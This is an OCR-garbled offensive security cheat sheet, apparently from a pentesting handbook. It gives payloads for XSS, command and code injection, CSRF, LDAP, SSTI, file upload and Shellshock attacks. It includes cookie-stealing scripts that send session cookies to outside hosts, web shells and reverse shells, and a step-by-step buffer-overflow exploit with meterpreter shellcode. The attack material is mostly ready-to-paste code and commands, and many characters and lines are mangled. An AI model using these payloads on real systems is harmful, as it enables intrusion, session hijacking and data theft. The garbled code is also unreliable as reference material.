<A HREF="http://%$77%77%77%2E%$67%6F%6F%$67%6C%$65%2E%63%6F%6D">XSS</A> :URL Encoding
<A HREF="http://1113982867/">XSS</A> :Dword encoding

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> :Hex encoding

<A HREF="h :break on purpose

tt p://6 6.000146.0x7.147/">XSS</A> :Mixed encoding

<img src='zzzz' onerror='alert(l)' />

<IMG SRC=# onmouseover="alert ('xxs')"> :bypass most source domain filters
<IMG SRC=javascript:alert (String.fromCharCode (88,83,83))> :if no quotes allowed
<IMG onmouseover="alert ('xxs')"> :leave src out if filtering

<IMG SRC=/ onerror="alert (String.fromCharCode (88,83,83))"></img> :on error alert
<DIV onmouseover="alert (document.cookie) ">xxs link</div> : onmouseout, onclick
<DIV STYLE="background-image: url (javascript:alert ('XSS'))">

<DIV STYLE="background-image: url (&#1;javascript:alert ('XsSS"'))">

<DIV STYLE="width: expression(alert ('XsSs')) ;">

Bypass Word Exclusions
<script>eval (String.fromCharCode (97,108,101,114,116,40,39,49,39,41,59))</script>
*Note great converter & script

Javascript Insertion
F12, in this example <script>var $a="value”;</script> :inserted next command
";alert (1) ;var%s20$dummy%20=%20"

F12, in this example <script>var S$a='value’;</script> :similar to last, in this example
server is html encoding turning quotes into &gquot (viewable in source/Fl2 in example)
‘;alert (1) ;var%20$dummy%20=%20"

PHP SELF (Not using htmlspecialchars)
page.php/%22%3E%3Cscript%3Ealert ('hacked') $3C/script%3E :Pages using PHP SELF can
be susceptible to XSS
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DOM Based (Client Side XSS)

page.html?default=<script>alert (document.cookie)</script> rexample 1
page.php#hacker=<script>alert (document.cookie)</script> rexample 2
http://www.some.site/somefile.pdf#somename=javascript:attackers script here :i.e. 3
15t example is php page using document.write w/ URL ending in page.html?default=French
27°d example mounts the same attack without it being seen by the server (which will
simply see a request for page.html without any URL parameters

3rd example finds a PDF link on the site, victim using unpatched adobe is vulnerable

Example XSS Sending Cookie From Web Server to Requestb.in
https://site.com/index.php?name=hacker<script>document.write ('<img
src%$3d"https://requestb.in/1kf13g01?2c%3d"'%2bdocument.cookie%2b'" >"');</script>

XSS Tools

BeEF :software, defacement, metasploit, shell
Jikto :XSS to attack internal systems
http://www.owasp.org-search XSS Filter Evasion:XSS Encoding / Filter Evasion

www . xssed.com :XSS Encoding / Filter Evasion

Code Injection

Check to see if susceptible to Code Injection (PHP Example)
Try inserting a single gquote at the end

/* random value */

injecting a simple concatenation ".
"."te"."st"." instead of test
Compare not using PHP sleep function, and using sleep(0) or sleep(5)

Concatenate commands on Input Defined Ping Example
Try inserting directly into the input box or the url
127.0.0.1 ; cat /etc/passwd

Examples (PHP)

page.php?name=default’ :inserting a single quote could give info
page.php?name=default"." :should return error giving us info
page.php?name=default"./*inserteddata*/" :should show regular page if working
page.php?name=default".system('uname -a'); S$dummy=" rexample php code inj
page.php?name=default ".system('uname -a') ;%23 : (%$23=#), same as above
page.php?name=default ".system('uname -a');// :same as above, may need to

convert ;=%3B

Examples (Perl)
*note page doesn’t automatically show cgi-bin, have to look in source
page/cgi-bin/hello?name=default’.system (‘uname -a’) ;%23

Examples (PHP with SQL)

Test various breaks to see what works on example: .php?order=id

.php?order=id; }// :test methods, may not work exactly
.php?order=id) ; }// :get warning, may be right
.php?order=id));}// :in this case unexpected ) - just take out
.php?order=id) ; }system ('uname%20-a');// :in example we get successful execution
PCRE REPLACE EVAL Example (/e) - PHP

*Deprecated as of PHP 5.5.0, causes to evaluate new code as PHP code before substitution
http://ip/dir/page.php?new=hackerspattern=/lamer/sbase=Hello :original link
http://ip/dir/page.php?new=hacker&pattern=/lamer/es&base=Hello :/e gives error

http://ip/dir/page.php?new=system('uname%20-a') ¢pattern=/lamer/e&base=Hello
:gives us code execution

PHP: Using Assert Function To Gain Code Execution Example

page.php?name=default” : test inserting ' and “ to see if errors
page.php?name=default’ :receive assert error
page.php?name=default’ .’ rerror messages disappears when adding ‘.’

Page.php?name=default '.phpinfo() ."

Command Injection

Check if susceptible to Command Injection (PHP Example code using system command in
server side script)
page.php?ip=127.0.0.1 :default page
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page.php?ip=127.0.0.1"1s’ :inj cmd inside backticks
page.php?ip=127.0.0.1|cat /etc/passwd/ :redirect result from 1°% into 27
page.php?ip=127.0.0.1%26%26cat%20/etc/passwd :%$26%26= && encoded

Add encoded new line to bypass some filters (used in multiline)
page.php?ip=127.0.0.1 $0als : $0a = encoded new line

SANS CTF Example Using && and Hex encoding to bypass input validation

/&&1ls = /&&CMD=$"\x6c\x73 '&&$SCMD
/&&ls —al = /&&CMD=$"\x6c\x73\x20\x2d\x61\x6C"'&&$CMD
/&&ls —alR (shows ..) = /&&CMD=$"\x6c\x73\x20\x2d\x61\x6C"'&&$CMD

cat ../.flag.txt=/&&CMD=5"'\x20\x2e\x2e\x2e\x2f\x2e\x66\x6c\x61\x67\x2e\x74\x78\x74"'&&catSCMD

Use PHP function header if value doesn’t match security constraint
telnet vulnerable 80
GET /dir/page.php?ip=127.0.0.1|uname+-a HTTP/1.0

Using netcat: echo "GET /dir/page.php?ip=127.0.0.1|uname+-a HTTP/1.0\r\n" | nc vuln 80
OR

echo -e "GET /dir/example3.php?ip=127.0.0.1%26%261ls HTTP/1l.1\r\nHost:
192.168.79.162\r\nConnection: close\r\n" | nc 192.168.79.162 80

Ruby on Rails Eval Function Example

w

:break out of string to see errors
Y+’ COMMAND’ +” :remember URL encode + to %2B
?2username="%2B" [/usr/local/bin/score%$20697532c5-0815-4188-a912-c65ad2307d28] "%$2B"

Python Application Command Injection - Example with system access loaded already
page/dir/default"%$2bstr (True) $2b"test :Ensure Python by app-str() and True
page/dir/default"%$2bstr (os.system('id')) $2b"test :test code execution

page/dir/default"%2bstr (os.popen('id') .read () ) %2b"test :gives more info - replace id w/cmd

Python Application Command Injection - system access NOT loaded already

page/dir/default"%$2bstr (True) $2b"test :Ensure Python by app-str() and True
page/dir/default"%2bstr (os.system('id') ) %$2b"test :test code execution; doesn’t exe properly
page/dir/default"%$2bstr( import ('os').system('CMD'))%2b"test :import cmds
page/dir/default"%$2bstr( import ('os').system('rm —-rf /critPath'))%2b"test :delete
Python Application Command Injection - “/” prevented so use base 64 encoding
page/dir/default"%$2bstr (True) $2b"test :Ensure Python by app-str () and True
page/dir/default"%$2bstr (os.system('id"') ) %2b"test :test code execution; doesn’t exe properly
page/dir/default"%$2bstr(_import ('os').system(

__import ('base64') .b64decode ('aWQ="))) 32b"test

Cross Site Request Forgery (CSRF)

https://trustfoundry.net/2016/04/03/cross—-site-request-forgery-cheat-sheet/
*Refer to Diagram on site for flow. Written by Alex Lauerman

HTML GET — Requiring User Interaction for Proof-of-Concept
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

HTML GET (No User Interaction)
<img src="http://www.example.com/api/setusername?username=CSRFd">

HTML POST — Requiring User Interaction for Proof-of-Concept

<form action="http://www.example.com/api/setusername" enctype="text/plain"
method="POST">

<input name="username" type="hidden" value="CSRF4" />

<input type="submit" value="Submit Request" />

</form>

HTML POST (AutoSubmit — No User Interaction)

<form id="autosubmit" action="http://www.example.com/api/setusername"
enctype="text/plain" method="POST"&>

<input name="username" type="hidden" value="CSRFd4" />

<input type="submit" value="Submit Request" />

</form>

<script>
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document .getElementById ("autosubmit") .submit () ;
</script>

JSON GET — Simple Request

<script>

var xhr = new XMLHttpRequest () ;

xhr.open ("GET", "http://www.example.com/api/currentuser");
xhr.send () ;

</script>

JSON POST — Simple Request

<script>

var xhr = new XMLHttpRequest () ;

xhr.open ("POST", "http://www.example.com/api/setrole");

xhr.withCredentials = true;

//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader ("Content-Type", "text/plain");

//You will probably want to also try one or both of these
//xhr.setRequestHeader ("Content-Type", "application/x-www—form-urlencoded") ;
//xhr.setRequestHeader ("Content-Type", "multipart/form-data"):;
xhr.send (' {"role":admin}"') ;

</script>

JSON POST — Complex Request

<script>

var xhr = new XMLHttpRequest () ;

xhr.open ("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;

xhr.setRequestHeader ("Content-Type", "application/json;charset=UTF-8");
xhr.send ('{"role":admin}"');

</script>

XMLHttpRequest Notes

It'’s important to note that you do not need to be able to read the response to execute
CSRF (this is always the case with basic HTML CSRF). CORS restrictions may mislead
people into thinking it is not vulnerable, when it actually is vulnerable to simple
requests.

An XMLHTTPRequest is deemed “simple” if it meets certain conditions about the headers
that are set. Specifically, it must use GET, HEAD, or POST and the content type can
only be set to application/x-www-form-urlencoded, multipart/form-data, or text/plain.
The other headers that can be set while keeping the request simple are Cache-Control,
Content-Language, Content-Type, Expires, Last-Modified, and Pragma. If it is not deemed
simple, it will be pre-flighted with an OPTIONS request to see if the current domain is
allowed. By default, XMLHttpRequest will not send credentials, and this must be enabled
by setting .withCredentials to true;

Flash Notes

Previously, Flash could be used to set custom headers. This only works with old
versions of Flash, and used to be exploitable using CSRF-Request-Builder. Today, you
would need the site to use crossdomain.xml that allows a domain you can forge requests
from.

Siverlight Notes
Today, you would need the site to use a clientaccesspolicy.xml or crossdomain.xml that
allows a domain you can forge requests from.

LDAP Attacks (PHP Example)

Using two null values to authenticate (even if not LDAP based)

Change default page: http://ip/dir/page.php?username=useré&password=pass
Change to: http://ip/dir/page.php

Filter Injection to Bypass Auth — PHP Example

username=hacker&password=hacker we get authenticated (default)

username=hack*&password=hacker we get authenticated (wildcard on user work)

username=hacker&password=hac* we don't get authenticated (wildcard on pass doesn’t)
:deduce password is probably hashed

http://ip/dir/page.php?name=hacker) (cn=*)) $00&password=rtrtrtr

http://ip/dir/page.php?name=a*) (cn=*)) %$00&password=rtrtrtr

58

https://t.me/learningnets


https://github.com/TheRook/CSRF-Request-Builder
http://ip/dir/page.php

The end of the current filter using hacker)
An always-true condition ((cn=*)
A ) to keep a valid syntax and close the first )
A NULL BYTE (%00) to get rid of the end of the filter
nmap script to search LDAP: nmap -p 389 --script ldap-search <ip>

File Upload Attack (PHP Example)

Include Function with No Filter Example
Upload script named test.php
http://ip/dir/page.php?cmd=cat%20/etc/passwd

Bypass Filtering for File Upload

Try uploading with extension .php3 or .php4 or .phpb

Try uploading with extension .php.blah :if doesn’t recognize .blah tries .php
Upload .htaccess file to enable extensions

Weevely Web Shell

*note weevely is a web shell so it doesn’t have established connections — stealthier,
but also no tty so cant exactly sudo

weevely generate <password> /root/<shellname>.php:generate shell

upload to site

weevely http://<server>/<shellname>.php <password> :connect from attacker

nc —lvp 443 :listen on netcat server

php -r 'Ssock=fsockopen ("<attacker ip>",443);exec("/bin/sh -i <&3 >&3 2>&3") ;'

*then you can sudo

FHzllaga PHP Example

FHzllaga Getshell.php%00.gif :try to strip off the gif with %00
Example file payload:
GIF89a

<?php eval($_POST[haihai]) 2>

Iceweasel Add-ons

Cookies Manager+ rallows for cookie modification
Tamper Data

Browser Redirection/IFRAME Injection in Unvalidated Web Form

nc —nlvp 80 :first we set up nc listener on attacker
*Next we enter an iframe redirection in an unvalidated web form
<iframe SRC="http://192.168.10.5/report” height= “0” width ="0"></iframe>

Cookie / Session Stealing

nc —nlvp 80 :first we set up nc listener on attacker
*Next we enter javascript to get the cookie; get PHPSESSID info
<script>new

Image () .src="http://192.168.10.5/bogus.php?output="+document.cookie;</script>
*Then enter PHPSESSID for Name in Cookies Manager+ and Session info in content

Server Side Template Injection

Example 1 — 404 Error Management :Uber SSTI Example

Enumerate the functions available:

http://site/test{{''. class .mro () [1]. subclasses_ () [1]%7D%7D

Enumerate a specific function, in this case subprocess.Popen
http://site/test{{''. class_.mro()[2]. subclasses__ () [233](['CMD', 'CMD';])}}

Example 2 (Twig 1.9.0)
http://site/?name=hacker{{_self.env.registerUndefinedFilterCallback (%27exec%27)}}{{_sel
f.env.getFilter ($27COMMANDS27) }}

PHP Reverse Shell Upload Using BurpSuit

We're going to use Intruder (used for automating customised attacks).
To begin, make a wordlist with the following extensions in:

cat phpext.txt
.php
.php3
.php4
.phpb5
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.phtml

Now make sure BurpSuite is configured to intercept all your browser traffic. Upload a
file, once this request is captured, send it to the Intruder (Action / Send to
Intruder). Click on "Payloads" and select the "Sniper" attack type.

Click the payload tab and paste the list of extentions (above). Click the "Positions"
tab now, find the filename and "Add §" to the extension. Start the attack (upper
right). Then you see which extensions were accepted.

PHP shell here.

Edit the php-reverse-shell.php file and edit the ip to be your ip

Rename this file to php-reverse-shell.phtml

We're now going to listen to incoming connections using netcat. Run the following
command: nc -lvnp 1234

Upload your shell and navigate to http://<ip>:3333/internal/uploads/php-reverse-—
shell.phtml - This will execute your payload

You should see a connection on your netcat session

Shellshock (Apache Server)

Use Nmap to identify open ports. TCP port 80 is opened and Apache service running

Use Burp to navigate to the URL, detect that any URLs accessed when the page is loaded
By using Firebug, we can identify any CGI page which call system command /cgi-
bin/status in our example. Needed for exploiting shellshock

Read Arbitrary Files Example
echo -e "HEAD /cgi-bin/status HTTP/1.1l\r\nUser-Agent: () { :;}; echo
\$ (</etc/passwd) \r\nHost: ip\r\nConnection: close\r\n\r\n" | nc ip 80

Attack Listener

nc -1 -p 443

Reverse Shell Exploit (requires netcat to be on victim'’s /usr/bin/)

echo —-e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc
<attacker ip> 443 -e /bin/sh\r\nHost: <victim ip>\r\nConnection: closel\r\n\r\n" | nc
<victim ip> 80

Alternate Example

Use Fiddler to identify cgi-bin packet, drop in composer to copy (or in Burpe right
click the GET request for cgi-bin and send to Repeater.

Test for shellshock: Replace the user agent string with User-Agent: () { :;}; echo
$ (</etc/passwd)

In Burpe click go and you should see the response on the right, in Fiddler click
Execute and then when the response shows up click the response, Inspectors.

Drop a beacon through shellshock:

On your attack box type nc -1 -p 1234 for the listener

In Burpe or Fiddler, replace the user agent string with User-Agent: () {
/usr/bin/nc <attacker ip> 1234 —e /bin/bash

If we don't get a response that’s good because our netcat session is still open.

~.
—
~.

Tomcat

mod jk

Looking at the GET request in this example only shows us Apache, not showing Tomcat

If we try to go to a non-existent page contained within the site, we see Tomcat version
This is indicative of a mod jk vulnerability

Going to site/manager/html will not get you there because it’s only exposed by Tomcat,
not Apache

In our example site/examples is the Tomcate service, but site/examples/../manager/html
wont work because the browser normalizes in this example. Try
site/examples/%$252e%252e/manager/html :here we have to double encode — mod jk
decodes %25 as then tomcate decodes %2e as “.”

tomcat/tomcat, admin/admin, admin/tomcat, admin/no password are default logins

Here we want to upload a .war file which is actually just a zip file

wo n
°

index.jsp (from PenTesterLabs) — alternatively you could use a Servlet too
<FORM METHOD=GET ACTION='index.jsp'>

<INPUT name='cmd' type=text>

<INPUT type=submit value='Run'>

</FORM>

<%@ page import="java.io.*" %>
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A
oo

String cmd = request.getParameter ("cmd") ;

String output = "";
if(cmd !'= null) {
String s = null;
try {
Process p = Runtime.getRuntime () .exec (cmd,null,null);
BufferedReader sI = new BufferedReader (new
InputStreamReader (p.getInputStream())) ;
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch (IOException e) { e.printStackTrace() ; }

}
&>
<pre><%=output %$></pre>

Then put your index.jsp into a webshell folder
mkdir webshell

cp index.jsp webshell

cd webshell

$ jar -cvf ../webshell.war *

Tomcat 6:

If we try to upload through the button on the page we get a 404 error. Remember you
have to double encode to get to your directory. Right click the submit button and
select Inspect to see/modify the source code of the button and the form action should
show you a relative path. In this case change <form
action="/examples/html/upload; jsession..” to <form
action=http://site/examples/jsp/%252e%252e/%252e%252e/manager/html/upload; jession...
Once Webshell is deployed you will see it in the GUI, but remember to access it you
have to use the full path — instead of site/webshell use
site/examples/%$252e%252e/webshell/

Tomcat 7:

In our example, to get to the admin page we change site/example/jsp to
site/examples/Jjsp/%$252e%252e/%252e%252e/manager/html. We right clicked the submit
botton, selected Inspect, then changed <form method="post”
action="examples/html/upload?...” to <form method="post”
action="/examples/%$252e%252e/manager/html/upload?...>. Then we run Burp while we submit
the war file (which sends back an error because we don’t send any session information) .
So to bypass this, reload your mamagement page, but before you forward in Burp right

click the request, Do Intercept — Response to this request (then forward the packet).
In the Response, we can see that the Path is set to /manager/ which is why we are
getting an error — we need a sessionID for that path. If we simply change

Path=/manager/ to Path=/. Forward the packet, change the path in your submit action
again, and you should see a webshell successfully loaded in your list. To access it
simply go to site/examples/%$252e%252e/webshell/. There we can enter commands to run.

JSON Web Tokens

Article
JWT pattern: Base64 (Header) .Base64 (Data) .Base64 (Signature) :Header itself is not signed
Sigs can be RSA based, ECC, HMAC, None

None Algorithm Example
Register a login, then login. Do with Fiddler/Burp open

In Fiddler look at 200 login page, Cookie Tab auth=.. (might be in JSON tab)
Decode your auth string here (remember to remove auth=)
Change algorithm to None ("alg": "None") :Note for this to work do not copy the

i

signature = anything past the last — leave last “octet” blank

In Fiddler click composer tab, drag the packet that you had a successful login

Under Cookie or JSON copy your new auth=string, remember do not copy signature section
Click the Inspector Tab above, then WebView

Websites Using Git

Git Information Leak

With modern URL mapping (i.e. not relaying on the filesystem) , it's less and less
common to see this kind of issues but it's always important to look for them anyway.
wget —r http://site/.git/

#first, don’t run from bash from windows — it doesn’t work. Run from kali

#while wget is running open a new terminal and run the following:
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Git diff

#this should show some files not downloaded, press enter

Regular Scan

use auxiliary/scanner/portscan/tcp
set RHOSTS 172.40.0.3-20

set PORTS 80,443,8000,8080

run

Drupal Example

:next scan from our pivot point
:we will scan .3-.20

:scan http/s ports

:run our scan

HTTP Recon

use auxiliary/scanner/http/http header
set RHOSTS 172.40.0.10

run

Drupal Exploit

search type:exploit rank:excellent drupal
use 2

set RHOSTS 172.40.0.10

set LHOST ethO

exploit

:HTTP recon scan
:discovered from regular scan
:comes back Apache / Drupal / Debian/PHP

:search for <excellent> Drupal exploits
:use the second optn shown (API Inject)
:target

rattacker

:run exploit

>download /var/www/html/sites/default/files/.ht.sglite :download in meterpreter session

>background
>sqglite3 .ht.sglite “.dump users filed data”
exit -y

https://t.me/learningnets
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Authentication & Authorization

SAML.: Signature Verification (Louis Nyffenegger)

https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/

The User-Agent (browser) tries to access the resource

The Service Provider (SP) sends a redirect to the Identity Provider (IDP)

The User-Agent follows the redirect an access the IDP. The request contains a
SAMLRequest parameter.

The IDP sends back a response with a SAMLResponse.

The SAMLResponse is submitted by the User-Agent to the SP.

The user is now logged in for the Service Provider and can access the resource.

The trust-relationship works because the Service Provider trusts the Identity
Provider. This trust relationship is initially created by providing the certificate
(that contains the public key) of the Identity Provider to the Service Provider. If a
SAMLResponse is signed with the private key matching the public key in the
certificate, the Service Provider will trust the assertion.

Inspecting the HTTP traffic
First, the User-Agent gets redirected to the IDP with a SAMLRequest parameter:

Location: http://ptl-27£65738-58d64e9c.libcurl.so/saml/auth?SAMLRequest=...

Then, if the user is logged in, the IDP responds with a page that will automatically
(<body onload="document.forms[0].submit();"...>) submit the SAMLResponse to the SP.

This will allow the SP to create a session for the user. The user is now logged based
on the SAMLResponse value.

Dissecting the SAMLResponse
If we look at an example of SAMLResponse, we can see that it's a fairly big chunk of
data. We can base64 decode it to find more information.

The important part for this exercise is the <NameID ...> tag. We will have to modify
this value in the next step.

The attack

One of the common issues with protocol using signature to prevent tampering comes from
the fact that despite being present, the signature is not verified. Here we are going
to modify the email address inside the signature to become the user admin@libcurl.so
for the service provider.

To do so, we will need to:

Start the SAML interaction.

Intercept the SAMLResponse.

Tamper with the SAMLResponse.

Forward the malicious SAMLResponse to the Service Provider.

The only tricky part is to make sure you correctly decode, modify and re-encode the
SAMLResponse. For this type of modifications, you can just create a small script to
automatically do the decoding, tampering and re-encoding. This will make testing
faster.

For example, you can create a script that will take the SAMLResponse as first argument
and echo back the malicious payload. You will then have to copy the malicious
SAMLResponse in your proxy.

Script usage: Using Burpe (Fiddler didn’t show the SAMLResponse), register and then log
in. During the log in forward until you get to the part with the SAMLResponse. Only
cut the contents of the SAMLResponse, run it through your script which base64 decodes
it, then replaces the “test” email with “admin” in this case, and reencodes +/=.

Script (script.rb):
require 'uri'
require 'baseb64'

str = URI.unescape ARGVI[0]
response = Baseb64.decodeb64 (str)
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#we created a test account, here we replace with admin user
malicious response = response.gsub("test", "admin")

#automatically encode +/=
puts URI.escape (Base64.strict encode64 (malicious_response),
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Buffer Overflow Attacks

Practice Examples

https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/
Brainpan :vulnhub wvm
SANS CTF Example: python -c 'print "A"*1000'|nc e09-target.allyourbases.co 8149

Debugging Tools

Immunity :Easier to use than Oly
Olydebug :Not as user friendly

Tools for Analyzing Machine Language Code

msfelfscan

msfpescan

SPIKE

exploits available via exploit-db.com, github, packetstormsecurity.org, etc

Look for functions commonly misused by devs who don’t check size of user input before
sending to these functions:

strcpy strncpy strcat sprintf printf scanf

fgets gets getws memcpy memmove

*Note either in Immunity or Olydebug you can find a list of these functions by right
clicking anywhere in the “CPU — main thread, module brainpan” / Search for / Name
(label) in current module. Note for something like a password match it might be a
string compare (strcmp) like in the Brainpan example.

Sometimes trying a simple strings on a exe can show vulnerable
strings brainpan.exe | grep
'strepy\ |strncpy\ |strcat\ |sprintf\|printf\|scanf\|fgets\|gets\|getws\ |memcpy\ |memmove'

Steps for finding flaw:

1. Find potential buffer overflow condition

2. Push proper exe code into memory to be executed

3. Set the return pointer so that it points back into stack for execution
*Note that if # of results vary, due to DEP & ASLR

Fuzzing Video Games with CERTSs Basic Fuzzing Framework

https://rhinosecuritylabs.com/research/fuzzing-left4dead-2-with-fuzzing-framework/

Example Walkthrough to attempt finding buffer overflow condition, using Spike, python, & Immunity

Steps:

1) Identify attack surface of server

2) Fuzz server for weaknesses in buffer
3) Develop a proof of concept exploit
4) Exploit to full shell

Opening the Application through Immunity Debugger
1. Open Immunity, then in Immunity click open and navigate to your exe
2. You might need to step through (play) until you see it actually running
3. From Kali, run nmap (no special switches) against the server, you should discover
that port <443> for example is open. Alternately on windows just do a tasklist |
findstr “svchost”
4. Manually connect to the port from Kali using: nc <IP> <443>
5. Type ‘HELP’ to see a list of commands. Only 3, HELP/INPUT/EXIT. Vulnerable command
is INPUT.
6. Create a SPIKE spk file that targets the INPUT command:
s_readline () ;
s_string (“INPUT “);
s_string variable (“A”);
7. Start wireshark on you attack Kali box, used with SPIKE
8. Launch spike with you .spk file, say we named it BufferOverflow.spk
/usr/bin/generic_send tcp <server ip> <443> BufferOverflow.spk 0 0
9. Local servers would likely crash after a couple of seconds, AWS may be about 5-10
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seconds. Make sure to stop your program with Cntrl+C. Stop Wireshark too.

10. Check the CPU window in Immunity. You should find that we've filled EAX with INPUT
/.:/AAAA.., ESP is full of A’s, and the EIP has been overwritten with 4 A’s, 41414141

11. In Wireshark filter for: frame contains “INPUT /.:/” — or whatever showed in
Immunity

12. After following the stream look for Entire Conversions <5080> bytes. Remember in
this case INPUT /.:/ is 10 chars and the rest 5070 is “A”s

13. Next we will use a python script to confirm we get repeated consistent crashes:

#!/usr/bin/python
import socket

##Declared variables
ip="VULN SERVER IP'
port=VULNisERVER7PORT

buf = "INPUT /.:/ " + "A" * (5080 — 10)
print "Sending "

fz = socket.socket (socket.AF INET, socket.SOCK STREAM)
fz.connect ( (ip,port))

fz.send (buf)

fz.close ()

print str(chars) + " sent successfully"

14. Reset your service, then python yourscript.py — should crash again consistently
15. Note in this case 5080 is the total length of our memory space
16. Next we need to identify the EIP location using a pattern:

/usr/share/metasploit-framework/tools/exploit/pattern create.rb -1 5070 >
pattern5070.txt

17. Create a copy of yourscript.py, and replace the As with your new pattern you
generated.

18. Reset your program and run your pattern script.

19. Inside Immunity, the Registers windows shows an address that in most systems
should be little endian. In our example let’s say Immunity showed us the value was EIP
6F43376F

/usr/share/metasploit-framework/tools/exploit/pattern offset.rb —qg 6F43376F

20. This should show an exact match offset, say it returns 2002 (plus the initial
INPUT /.:/)

21. Now we want to try and make sure we land in EIP correctly so that we can later put
a JUMP ESP value inside. We send a buffer of As, followed by 4Bs, then fill the rest
with Cs.

In our python script change the buf variable:
buf = “INPUT /.:/” + “A” * 2002 + “BBBB” + “C” * (5080 - 10 — 2002 - 4)

22. Reset the debugger and run our new python script. Ensure EIP shows 42424242 (4
B’s) .

23. Next we have to choose a process to inject into that gets loaded into memory of
the server, for example let’s say inventory server functions.dll. Double click the
Executable modules on invent 1 (modules window / Name invent 1, Path
C:\Users..\inventory server functions.dll. Right click on this CPU window, Search for >
All commands. In the popup type JMP ESP

24. Start with the first one and note the address (example 625012F0). Note when we
enter this in our script later it is entered backwards (jumpesp='xF0\x12\x50\x62") .

25. Next is to check for bad characters. You can generate a byte array inside Immunity
with !mona. The log data has a entry in the bottom, type:

!mona bytearray -b ‘\x00’
*note we already excluded null (x00) since that’s always out of the picture

26. Open the file at the location and copy the contents over to our python script.
Note you will have to adjust the variables:
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#!/usr/bin/python
import socket
##Declared variables

ip="VULN SERVER IP'
port=VULN SERVER PORT

badcharstotest = (“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0d\x0e\x0f\x10\x11"”
“xfb\xfc\xfd\xfe\xff”)
buf = "INPUT /.:/ "™ + "A"™ * 2002 + “BBBB” + badcharstotest + “C” * (5080 — 10 — 2002 - 4

—len (badcharstotest))
print "Sending "

fz = socket.socket (socket.AF INET, socket.SOCK STREAM)
fz.connect ( (ip,port))

fz.send (buf)

fz.close ()

print str(chars) + " sent successfully"

27. Next reset debugger and launch your updated python script.
28. In Immunity use mona to compare the bytearray.bin we generate previously with the
start of the ESP:

!mona compare f c:\logs\softwaretest\bytearray.bin —a 0216FA40
*with 0216FA40 being the address listed in ESP register AFTER the crash and showing
all our test characters. You could manually look but mona has less chance for missing

29. If we found any bad chars we would omit them and try again (with —-b in mona)
30. Generate the shell code customized for you environment

msfvenom —-p windows/meterpreter/reverse tcp lhost=192.168.111.225 lport=443 —e
x86/shikata ga nai -b ‘\x00" —f python > shellcode.txt
*note the payload size and ensure it can fit inside your memory space

31. Modify our python script, add jmpesp location, remove badchars, add msfvenom
payload, change buffer:

#!/usr/bin/python
import socket

##Declared variables
ip='VULN SERVER IP'
port=VULN SERVER PORT
Jumpesp="xF0\x12\x50\x62’

#shellcode generated by msfvenom:
buf = “

buf += “\xc9\x5a\xe7\x3d...”

buf += “.”

buf += “.”

buf += “\xad\x4f\xa5\x24"

buffer = "INPUT /.:/ " + "A" * 2002 + jmpesp + buf + “C” * (5080 — 10 — 2002 — 4 —
len (buf))
print "Sending "

fz = socket.socket (socket.AF INET, socket.SOCK STREAM)
fz.connect ((ip,port))

fz.send (buffer)

fz.close ()

print str(chars) + " sent successfully"

32. Test it but first set up you listener, here is an example script to start up one:

use exploit/multi/handler
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set payload windows/meterpreter/reverse tcp
set lhost <ip>

set lport <port>

exploit —j

msfconsole —r startlistener.rc #assuming you named it startlistener.rc

33. Run again, resetting anything it needed. If it failed you may be running into ASL
and need to add a NOP sled. NOP size should be % to % of your targeted architecture.
i.e. if your target is on x86 try 16-24, and if its x64 try 32-48.

34. Modify the buffer variable to include a NOP sled:

buffer = "INPUT /.:/ " + "A" * 2002 + jmpesp + ‘\x90" * 16 + buf + “C” * (5080 — 10 -
2002 = 4 —len(buf))

*our NOP sled is 16 bytes (for x86), but if it still fails go up to 24 bytes

35. You should get a shell!

.LNK Remote Code Execution

https://www.zerodayinitiative.com/blog/2020/3/25/cve-2020-0729-remote-code-execution-
through-1lnk-files

https://t.me/learningnets
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Reverse Shells

Cheat Sheet from PenTestMonkey.net and Highon.coffee

Reverse Shell Cheat Sheet
If you'’re lucky enough to find a command execution vulnerability during a penetration
test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and Jjust log in,
your next step is likely to be either trowing back a reverse shell or binding a shell
to a TCP port. This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages
installed on the target system — though you could probably upload a binary program too
if you'’re suitably well prepared.

The examples shown are tailored to Unix-like systems. Some of the examples below
should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste. As such
they're quite short lines, but not very readable.

Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&l

Alt:
0<&196;exec 196<>/dev/tcp/192.168.1.101/80; sh <&l196 >&196 2>&196

Java

r = Runtime.getRuntime ()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as Stringl[])

p.waitFor ()

[Untested submission from anonymous reader]

Netcat

Netcat is rarely present on production systems and even if it is there are several
version of netcat, some of which don’t support the -e option. Note ncat is better and
supports ssl.

# Linux Bind Shell
nc -vlp 5555 -e /bin/bash
nc 192.168.1.101 5555

# Windows Bind Shell
nc.exe -nlvp 4444 -e cmd.exe

# Linux Reverse Shell
nc -lvp 5555
nc 192.168.1.101 5555 —-e /bin/bash

# Windows Reverse Shell

nc —-lvp 443
nc.exe 192.168.1.101 443 -e cmd.exe

#With —e flag

nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80

If you have the wrong version of netcat installed, Jeff Price points out here that you
might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/fl|/bin/sh -i 2>&l|nc 10.0.0.1 1234 >/tmp/f
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Alt (without —e flag):
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 O0/tmp/p

Ncat

Ncat is a better and more modern version of netcat. One feature it has which netcat
does not have is encryption. Also -k for keepalive

# Bind Shell

ncat --exec cmd.exe --allow 192.168.1.101 -vnl 5555 -ssl &

ncat -v 192.168.1.103 5555 —-ssl

